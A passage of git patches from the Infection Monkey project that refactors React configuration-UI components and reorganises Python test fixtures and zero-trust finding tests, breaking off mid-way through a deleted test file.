import React from 'react'; -import {Form} from 'react-bootstrap'; +import {Button, Card, Form} from 'react-bootstrap'; import {cloneDeep} from 'lodash'; @@ -7,21 +7,45 @@ import {getComponentHeight} from './utils/HeightCalculator'; import InfoPane from './InfoPane'; import {MasterCheckbox, MasterCheckboxState} from './MasterCheckbox'; import ChildCheckbox from './ChildCheckbox'; -import {getFullDefinitionByKey, getDefaultPaneParams} from './JsonSchemaHelpers.js'; +import {getFullDefinitionByKey, getDefaultPaneParams} from './JsonSchemaHelpers'; + +function AdvancedMultiSelectHeader(props) { + const { + title, + disabled, + onCheckboxClick, + checkboxState, + hideReset, + onResetClick + } = props; + + return ( + + + + + ); +} class AdvancedMultiSelect extends React.Component { constructor(props) { super(props); this.enumOptions = props.options.enumOptions; + this.defaultValues = props.schema.default; this.state = { masterCheckboxState: this.getMasterCheckboxState(props.value), + hideReset: this.getHideResetState(props.value), infoPaneParams: getDefaultPaneParams(props.schema.items.$ref, props.registry) }; this.onMasterCheckboxClick = this.onMasterCheckboxClick.bind(this); this.onChildCheckboxClick = this.onChildCheckboxClick.bind(this); + this.onResetClick = this.onResetClick.bind(this); this.setPaneInfo = this.setPaneInfo.bind(this, props.schema.items.$ref, props.registry); } @@ -34,6 +58,7 @@ class AdvancedMultiSelect extends React.Component { this.props.onChange(newValues); this.setMasterCheckboxState(newValues); + this.setHideResetState(newValues); } onChildCheckboxClick(value) { @@ -41,6 +66,7 @@ class AdvancedMultiSelect extends React.Component { this.props.onChange(selectValues); this.setMasterCheckboxState(selectValues); + this.setHideResetState(selectValues); } getSelectValuesAfterClick(clickedValue) { @@ -72,11 +98,34 @@ class AdvancedMultiSelect extends React.Component { return MasterCheckboxState.ALL; } + onResetClick() { + this.props.onChange(this.defaultValues); + this.setHideResetState(this.defaultValues); + this.setMasterCheckboxState(this.defaultValues); + this.setPaneInfoToDefault(); + } + + setHideResetState(selectValues) { + this.setState(() => ({ + hideReset: this.getHideResetState(selectValues) + })); + } + + getHideResetState(selectValues) { + return selectValues.every((value) => this.defaultValues.includes(value)); + } + setPaneInfo(refString, registry, itemKey) { let definitionObj = getFullDefinitionByKey(refString, registry, itemKey); this.setState({infoPaneParams: {title: definitionObj.title, content: definitionObj.info, link: definitionObj.link}}); } + setPaneInfoToDefault() { + this.setState(() => ({ + infoPaneParams: getDefaultPaneParams(this.props.schema.items.$ref, this.props.registry) + })); + } + render() { const { schema, @@ -90,9 +139,10 @@ class AdvancedMultiSelect extends React.Component { return (
- + +
{title} - +
); } diff --git a/monkey/monkey_island/cc/ui/src/styles/components/AdvancedMultiSelect.scss b/monkey/monkey_island/cc/ui/src/styles/components/AdvancedMultiSelect.scss index 3dc1fe9a5..de3d5d542 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/AdvancedMultiSelect.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/AdvancedMultiSelect.scss @@ -18,12 +18,14 @@ padding-bottom: 5px; } -.advanced-multi-select .card-header button { - padding-top: 0; +.advanced-multi-select .card-header .master-checkbox span { + padding-bottom: 0.188rem; } .advanced-multi-select .card-header .header-title { font-size: 1.2em; + display: inline-block; + vertical-align: middle; } .advanced-multi-select .choice-block .form-group { From 917d6f574b538899e3ada28bbf8603acff6aa127 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 26 Jan 2021 15:15:11 -0500 Subject: [PATCH 157/466] ui: use class properties syntax in AdvancedMultiSelect --- .../ui-components/AdvancedMultiSelect.js | 19 ++++++++----------- 1 file changed, 8 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index 508bafa83..5c7c11345 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -36,20 +36,17 @@ class AdvancedMultiSelect extends React.Component { this.enumOptions = props.options.enumOptions; this.defaultValues = props.schema.default; + this.infoPaneRefString = props.schema.items.$ref; + this.registry = props.registry; this.state = { masterCheckboxState: this.getMasterCheckboxState(props.value), hideReset: this.getHideResetState(props.value), - infoPaneParams: getDefaultPaneParams(props.schema.items.$ref, props.registry) + infoPaneParams: getDefaultPaneParams(this.infoPaneRefString, this.registry) }; - - this.onMasterCheckboxClick = this.onMasterCheckboxClick.bind(this); - this.onChildCheckboxClick = this.onChildCheckboxClick.bind(this); - this.onResetClick = this.onResetClick.bind(this); - this.setPaneInfo = this.setPaneInfo.bind(this, props.schema.items.$ref, props.registry); } - onMasterCheckboxClick() { + onMasterCheckboxClick = () => { if (this.state.masterCheckboxState === MasterCheckboxState.ALL) { var newValues = []; } else { @@ -61,7 +58,7 @@ class AdvancedMultiSelect extends React.Component { this.setHideResetState(newValues); } - onChildCheckboxClick(value) { + onChildCheckboxClick = (value) => { let selectValues = this.getSelectValuesAfterClick(value); this.props.onChange(selectValues); @@ -98,7 +95,7 @@ class AdvancedMultiSelect extends React.Component { return MasterCheckboxState.ALL; } - onResetClick() { + onResetClick = () => { this.props.onChange(this.defaultValues); this.setHideResetState(this.defaultValues); this.setMasterCheckboxState(this.defaultValues); @@ -115,8 +112,8 @@ class AdvancedMultiSelect extends React.Component { return selectValues.every((value) => this.defaultValues.includes(value)); } - setPaneInfo(refString, registry, itemKey) { - let definitionObj = getFullDefinitionByKey(refString, registry, itemKey); + setPaneInfo = (itemKey) => { + let definitionObj = getFullDefinitionByKey(this.infoPaneRefString, this.registry, itemKey); this.setState({infoPaneParams: {title: definitionObj.title, content: definitionObj.info, link: definitionObj.link}}); } From 145a41ffcf4029c7c26e69ebf7875d4c1f06b9fa Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 26 Jan 2021 15:46:57 -0500 Subject: [PATCH 158/466] ui: move getDefaultPaneParams() to InfoPane.js --- .../src/components/ui-components/AdvancedMultiSelect.js | 4 ++-- .../cc/ui/src/components/ui-components/InfoPane.js | 8 +++++++- .../ui/src/components/ui-components/JsonSchemaHelpers.js | 7 +------ 3 files changed, 10 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index 5c7c11345..bab944093 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -4,10 +4,10 @@ import {Button, Card, Form} from 'react-bootstrap'; import {cloneDeep} from 'lodash'; import {getComponentHeight} from './utils/HeightCalculator'; -import InfoPane from './InfoPane'; +import {getDefaultPaneParams, InfoPane} from './InfoPane'; import {MasterCheckbox, MasterCheckboxState} from './MasterCheckbox'; import ChildCheckbox from './ChildCheckbox'; -import {getFullDefinitionByKey, getDefaultPaneParams} from './JsonSchemaHelpers'; +import {getFullDefinitionByKey} from './JsonSchemaHelpers'; function AdvancedMultiSelectHeader(props) { const { diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js index 5c963d87e..6e50ca66d 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js @@ -3,6 +3,12 @@ import React from 'react'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {faQuestionCircle} from '@fortawesome/free-solid-svg-icons'; +import {getObjectFromRegistryByRef} from './JsonSchemaHelpers'; + +function getDefaultPaneParams(refString, registry) { + let configSection = getObjectFromRegistryByRef(refString, registry); + return ({title: configSection.title, content: configSection.description}); +} function InfoPane(props) { return ( @@ -49,4 +55,4 @@ function getBody(props) { ) } -export default InfoPane +export {getDefaultPaneParams, InfoPane} diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/JsonSchemaHelpers.js b/monkey/monkey_island/cc/ui/src/components/ui-components/JsonSchemaHelpers.js index 06eed4aed..9a3d9c66b 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/JsonSchemaHelpers.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/JsonSchemaHelpers.js @@ -16,9 +16,4 @@ function getObjectFromRegistryByRef(refString, registry) { return resolveObjectPath(refArray, registry); } -function getDefaultPaneParams(refString, registry) { - let configSection = getObjectFromRegistryByRef(refString, registry); - return ({title: configSection.title, content: configSection.description}); -} - -export {getFullDefinitionByKey, getDefaultPaneParams}; +export {getFullDefinitionByKey, getObjectFromRegistryByRef}; From 32cdc034f32fc53c46eed596af426b681cf8b031 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 26 Jan 2021 15:51:42 -0500 Subject: [PATCH 159/466] ui: fix whitespace in ChildCheckbox.js --- .../components/ui-components/ChildCheckbox.js | 34 +++++++++---------- 1 file changed, 16 insertions(+), 18 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js index 353da4b22..4ce11295e 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js @@ -6,25 +6,23 @@ import {faCheckSquare} from '@fortawesome/free-solid-svg-icons'; import {faSquare} from '@fortawesome/free-regular-svg-icons'; function ChildCheckbox(props) { - const { - onPaneClick, - onClick, - value, - disabled, - label, - checkboxState - } = props; + const { + onPaneClick, + onClick, + value, + disabled, + label, + checkboxState + } = props; - return ( - onPaneClick(value)}> - - - {label} - - - ); + return ( + onPaneClick(value)}> + + {label} + + ); } export default ChildCheckbox; From 20cc720c21085aae19c8b0e9ade28aa9eadcc968 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 27 Jan 2021 08:46:10 +0200 Subject: [PATCH 160/466] Configured fixtures to be picked up by any test in island --- monkey/monkey_island/cc/conftest.py | 2 +- monkey/monkey_island/cc/test_common/fixtures/__init__.py | 2 ++ .../cc/test_common/{ => fixtures}/mongomock_fixtures.py | 0 3 files changed, 3 insertions(+), 1 deletion(-) create mode 100644 monkey/monkey_island/cc/test_common/fixtures/__init__.py rename monkey/monkey_island/cc/test_common/{ => fixtures}/mongomock_fixtures.py (100%) diff --git a/monkey/monkey_island/cc/conftest.py b/monkey/monkey_island/cc/conftest.py index aee73ddb6..ad683d49e 100644 --- a/monkey/monkey_island/cc/conftest.py +++ b/monkey/monkey_island/cc/conftest.py @@ -1 +1 @@ -from .test_common.mongomock_fixtures import * +from monkey_island.cc.test_common.fixtures import * diff --git a/monkey/monkey_island/cc/test_common/fixtures/__init__.py b/monkey/monkey_island/cc/test_common/fixtures/__init__.py new file mode 100644 index 000000000..1188586b1 --- /dev/null +++ b/monkey/monkey_island/cc/test_common/fixtures/__init__.py @@ -0,0 +1,2 @@ +from .fixture_enum import FixtureEnum +from .mongomock_fixtures import * diff --git a/monkey/monkey_island/cc/test_common/mongomock_fixtures.py b/monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py similarity index 100% rename from monkey/monkey_island/cc/test_common/mongomock_fixtures.py rename to monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py From 7f690bb88011d18336c0f80fdefa6ab69b563fe9 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 27 Jan 2021 08:53:09 +0200 Subject: [PATCH 161/466] Refactored the use of fixtures and fixed up various tests accordingly --- monkey/monkey_island/cc/models/test_monkey.py | 17 +- .../cc/models/zero_trust/test_finding.py | 5 +- .../cc/services/edge/test_edge.py | 3 +- .../zero_trust_checks/test_segmentation.py | 6 +- .../test_monkey_zt_finding_service.py | 34 +- .../test_scoutsuite_zt_finding_service.py | 77 +--- .../test_zero_trust_service.py | 341 ------------------ .../cc/test_common/fixtures/fixture_enum.py | 4 + 8 files changed, 58 insertions(+), 429 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_zero_trust_service.py create mode 100644 monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py index fad2ea94e..7860de20e 100644 --- a/monkey/monkey_island/cc/models/test_monkey.py +++ b/monkey/monkey_island/cc/models/test_monkey.py @@ -7,13 +7,14 @@ import pytest from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError from .monkey_ttl import MonkeyTtl +from ..test_common.fixtures import FixtureEnum logger = logging.getLogger(__name__) class TestMonkey: - @pytest.mark.usefixtures('uses_database') + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_is_dead(self): # Arrange alive_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30) @@ -41,7 +42,7 @@ class TestMonkey: assert mia_monkey.is_dead() assert not alive_monkey.is_dead() - @pytest.mark.usefixtures('uses_database') + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_ttl_renewal(self): # Arrange monkey = Monkey(guid=str(uuid.uuid4())) @@ -52,7 +53,7 @@ class TestMonkey: monkey.renew_ttl() assert monkey.ttl_ref - @pytest.mark.usefixtures('uses_database') + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_get_single_monkey_by_id(self): # Arrange a_monkey = Monkey(guid=str(uuid.uuid4())) @@ -66,7 +67,7 @@ class TestMonkey: with pytest.raises(MonkeyNotFoundError) as _: _ = Monkey.get_single_monkey_by_id("abcdefabcdefabcdefabcdef") - @pytest.mark.usefixtures('uses_database') + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_get_os(self): linux_monkey = Monkey(guid=str(uuid.uuid4()), description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu") @@ -82,7 +83,7 @@ class TestMonkey: assert 1 == len([m for m in Monkey.objects() if m.get_os() == "linux"]) assert 1 == len([m for m in Monkey.objects() if m.get_os() == "unknown"]) - @pytest.mark.usefixtures('uses_database') + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_get_tunneled_monkeys(self): linux_monkey = Monkey(guid=str(uuid.uuid4()), description="Linux shay-Virtual-Machine") @@ -100,9 +101,9 @@ class TestMonkey: and unknown_monkey in tunneled_monkeys and linux_monkey not in tunneled_monkeys and len(tunneled_monkeys) == 2) - assert test == "Tunneling test" + assert test - @pytest.mark.usefixtures('uses_database') + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_get_label_by_id(self): hostname_example = "a_hostname" ip_example = "1.1.1.1" @@ -148,7 +149,7 @@ class TestMonkey: assert cache_info_after_query_3.hits == 1 assert cache_info_after_query_3.misses == 2 - @pytest.mark.usefixtures('uses_database') + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_is_monkey(self): a_monkey = Monkey(guid=str(uuid.uuid4())) a_monkey.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_finding.py index fd78e2671..4df4b7bab 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_finding.py @@ -6,7 +6,7 @@ from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails - +from monkey_island.cc.test_common.fixtures import FixtureEnum MONKEY_FINDING_DETAIL_MOCK = MonkeyFindingDetails() MONKEY_FINDING_DETAIL_MOCK.events = ['mock1', 'mock2'] @@ -16,6 +16,7 @@ SCOUTSUITE_FINDING_DETAIL_MOCK.scoutsuite_rules = [] class TestFinding: + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_save_finding_validation(self): with pytest.raises(ValidationError): _ = Finding.save_finding(test="bla bla", @@ -27,6 +28,7 @@ class TestFinding: status="bla bla", detail_ref=SCOUTSUITE_FINDING_DETAIL_MOCK) + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_save_finding_sanity(self): assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0 @@ -34,6 +36,7 @@ class TestFinding: title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) monkey_details_example = MonkeyFindingDetails() monkey_details_example.events.append(event_example) + monkey_details_example.save() Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED, detail_ref=monkey_details_example) diff --git a/monkey/monkey_island/cc/services/edge/test_edge.py b/monkey/monkey_island/cc/services/edge/test_edge.py index 26ab82311..f327bc2d1 100644 --- a/monkey/monkey_island/cc/services/edge/test_edge.py +++ b/monkey/monkey_island/cc/services/edge/test_edge.py @@ -5,13 +5,14 @@ from mongomock import ObjectId from monkey_island.cc.models.edge import Edge from monkey_island.cc.services.edge.edge import EdgeService +from monkey_island.cc.test_common.fixtures import FixtureEnum logger = logging.getLogger(__name__) class TestEdgeService: - @pytest.mark.usefixtures('uses_database') + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_get_or_create_edge(self): src_id = ObjectId() dst_id = ObjectId() diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py index b29f9e3c6..ca58549d1 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py @@ -30,7 +30,10 @@ class TestSegmentationChecks: # There are 2 subnets in which the monkey is NOT zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED) - assert len(zt_seg_findings) == 2 + + # Assert that there's only one finding with multiple events (one for each subnet) + assert len(zt_seg_findings) == 1 + assert len(Finding.objects().get().details.fetch().events) == 2 # This is a monkey from 2nd subnet communicated with 1st subnet. MonkeyZTFindingService.create_or_add_to_existing( @@ -39,7 +42,6 @@ class TestSegmentationChecks: events=[Event.create_event(title="sdf", message="asd", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)] - ) zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py index cadb88aed..c3db9ea39 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py @@ -1,8 +1,12 @@ from datetime import datetime +import pytest + from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService +from monkey_island.cc.test_common.fixtures import FixtureEnum EVENTS = [ Event.create_event( @@ -34,13 +38,33 @@ STATUS = [ class TestMonkeyZTFindingService: - def test_create_or_add_to_existing(self): - + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + def test_create_or_add_to_existing_creation(self): # Create new finding - MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[0], status=STATUS[0], events=EVENTS[0]) + MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[0], status=STATUS[0], events=[EVENTS[0]]) + # Assert that it was properly created + findings = list(Finding.objects()) + assert len(findings) == 1 + assert findings[0].test == TESTS[0] + assert findings[0].status == STATUS[0] + finding_details = findings[0].details.fetch() + assert len(finding_details.events) == 1 + assert finding_details.events[0].message == EVENTS[0].message + + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + def test_create_or_add_to_existing_addition(self): + # Create new finding + MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[0], status=STATUS[0], events=[EVENTS[0]]) + # Assert that there's only one finding + assert len(Finding.objects()) == 1 # Add events to an existing finding - MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[0], status=STATUS[0], events=EVENTS[1]) + MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[0], status=STATUS[0], events=[EVENTS[1]]) + # Assert there's still only one finding, only events got appended + assert len(Finding.objects()) == 1 + assert len(Finding.objects()[0].details.fetch().events) == 2 # Create new finding - MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[1], status=STATUS[1], events=EVENTS[1]) + MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[1], status=STATUS[1], events=[EVENTS[1]]) + # Assert there was a new finding created, because test and status is different + assert len(Finding.objects()) == 2 diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py index e3a8de1bc..0350bd2f3 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py @@ -2,82 +2,17 @@ import pytest from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -from monkey_island.cc.services.zero_trust.scoutsuite.consts.findings import PermissiveFirewallRules, \ - UnencryptedData from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService - -RULES = [ - ScoutSuiteRule( - checked_items=179, - compliance=None, - dashboard_name='Rules', - description='Security Group Opens All Ports to All', - flagged_items=2, - items=[ - 'ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72' - '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR', - 'ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65' - '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR' - ], - level='danger', - path='ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', - rationale='It was detected that all ports in the security group are open, and any source IP address' - ' could send traffic to these ports, which creates a wider attack surface for resources ' - 'assigned to it. Open ports should be reduced to the minimum needed to correctly', - references=[], - remediation=None, - service='EC2' - ), - ScoutSuiteRule( - checked_items=179, - compliance=[{'name': 'CIS Amazon Web Services Foundations', 'version': '1.0.0', 'reference': '4.1'}, - {'name': 'CIS Amazon Web Services Foundations', 'version': '1.0.0', 'reference': '4.2'}, - {'name': 'CIS Amazon Web Services Foundations', 'version': '1.1.0', 'reference': '4.1'}, - {'name': 'CIS Amazon Web Services Foundations', 'version': '1.1.0', 'reference': '4.2'}, - {'name': 'CIS Amazon Web Services Foundations', 'version': '1.2.0', 'reference': '4.1'}, - {'name': 'CIS Amazon Web Services Foundations', 'version': '1.2.0', 'reference': '4.2'}], - dashboard_name='Rules', - description='Security Group Opens RDP Port to All', - flagged_items=7, - items=[ - 'ec2.regions.eu-central-1.vpcs.vpc-076500a2138ee09da.security_groups.sg-00bdef5951797199c' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', - 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-007931ba8a364e330' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', - 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-05014daf996b042dd' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', - 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0c745fe56c66335b2' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', - 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0f99b85cfad63d1b1' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', - 'ec2.regions.us-east-1.vpcs.vpc-9e56cae4.security_groups.sg-0dc253aa79062835a' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', - 'ec2.regions.us-east-1.vpcs.vpc-002d543353cd4e97d.security_groups.sg-01902f153d4f938da' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR'], - level='danger', - path='ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', - rationale='The security group was found to be exposing a well-known port to all source addresses.' - ' Well-known ports are commonly probed by automated scanning tools, and could be an indicator ' - 'of sensitive services exposed to Internet. If such services need to be expos', - references=[], - remediation='Remove the inbound rules that expose open ports', - service='EC2' - ) -] - -FINDINGS = [ - PermissiveFirewallRules, - UnencryptedData -] +from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import RULES, SCOUTSUITE_FINDINGS +from monkey_island.cc.test_common.fixtures import FixtureEnum class TestScoutSuiteZTFindingService: - @pytest.mark.usefixtures('uses_database') + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_process_rule(self): # Creates new PermissiveFirewallRules finding with a rule - ScoutSuiteZTFindingService.process_rule(FINDINGS[0], RULES[0]) + ScoutSuiteZTFindingService.process_rule(SCOUTSUITE_FINDINGS[0], RULES[0]) findings = list(Finding.objects()) assert len(findings) == 1 assert findings[0].finding_type == zero_trust_consts.SCOUTSUITE_FINDING @@ -87,7 +22,7 @@ class TestScoutSuiteZTFindingService: assert details.scoutsuite_rules[0] == RULES[0] # Rule processing should add rule to an already existing finding - ScoutSuiteZTFindingService.process_rule(FINDINGS[0], RULES[1]) + ScoutSuiteZTFindingService.process_rule(SCOUTSUITE_FINDINGS[0], RULES[1]) findings = list(Finding.objects()) assert len(findings) == 1 assert findings[0].finding_type == zero_trust_consts.SCOUTSUITE_FINDING @@ -97,7 +32,7 @@ class TestScoutSuiteZTFindingService: assert details.scoutsuite_rules[1] == RULES[1] # New finding created - ScoutSuiteZTFindingService.process_rule(FINDINGS[1], RULES[1]) + ScoutSuiteZTFindingService.process_rule(SCOUTSUITE_FINDINGS[1], RULES[1]) findings = list(Finding.objects()) assert len(findings) == 2 assert findings[1].finding_type == zero_trust_consts.SCOUTSUITE_FINDING diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_zero_trust_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_zero_trust_service.py deleted file mode 100644 index 8c8adb133..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_zero_trust_service.py +++ /dev/null @@ -1,341 +0,0 @@ -import pytest - -import common.common_consts.zero_trust_consts as zero_trust_consts -import monkey_island.cc.services.zero_trust.zero_trust_service -from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.services.zero_trust.zero_trust_service import ZeroTrustService -from monkey_island.cc.testing.IslandTestCase import IslandTestCase - -EXPECTED_DICT = { - zero_trust_consts.AUTOMATION_ORCHESTRATION: [], - zero_trust_consts.DATA: [ - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_DATA_CONFIDENTIALITY], - "status": zero_trust_consts.STATUS_FAILED, - "tests": [ - { - "status": zero_trust_consts.STATUS_FAILED, - "test": zero_trust_consts.TESTS_MAP - [zero_trust_consts.TEST_DATA_ENDPOINT_HTTP][zero_trust_consts.TEST_EXPLANATION_KEY] - }, - { - "status": zero_trust_consts.STATUS_UNEXECUTED, - "test": zero_trust_consts.TESTS_MAP - [zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC][zero_trust_consts.TEST_EXPLANATION_KEY] - }, - ] - } - ], - zero_trust_consts.DEVICES: [ - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_ENDPOINT_SECURITY], - "status": zero_trust_consts.STATUS_FAILED, - "tests": [ - { - "status": zero_trust_consts.STATUS_UNEXECUTED, - "test": zero_trust_consts.TESTS_MAP - [zero_trust_consts.TEST_MACHINE_EXPLOITED][zero_trust_consts.TEST_EXPLANATION_KEY] - }, - { - "status": zero_trust_consts.STATUS_FAILED, - "test": zero_trust_consts.TESTS_MAP - [zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS][zero_trust_consts.TEST_EXPLANATION_KEY] - }, - ] - } - ], - zero_trust_consts.NETWORKS: [ - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_SEGMENTATION], - "status": zero_trust_consts.STATUS_UNEXECUTED, - "tests": [ - { - "status": zero_trust_consts.STATUS_UNEXECUTED, - "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_SEGMENTATION][ - zero_trust_consts.TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_USER_BEHAVIOUR], - "status": zero_trust_consts.STATUS_VERIFY, - "tests": [ - { - "status": zero_trust_consts.STATUS_VERIFY, - "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_SCHEDULED_EXECUTION][ - zero_trust_consts.TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_USERS_MAC_POLICIES], - "status": zero_trust_consts.STATUS_UNEXECUTED, - "tests": [ - { - "status": zero_trust_consts.STATUS_UNEXECUTED, - "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER][ - zero_trust_consts.TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": 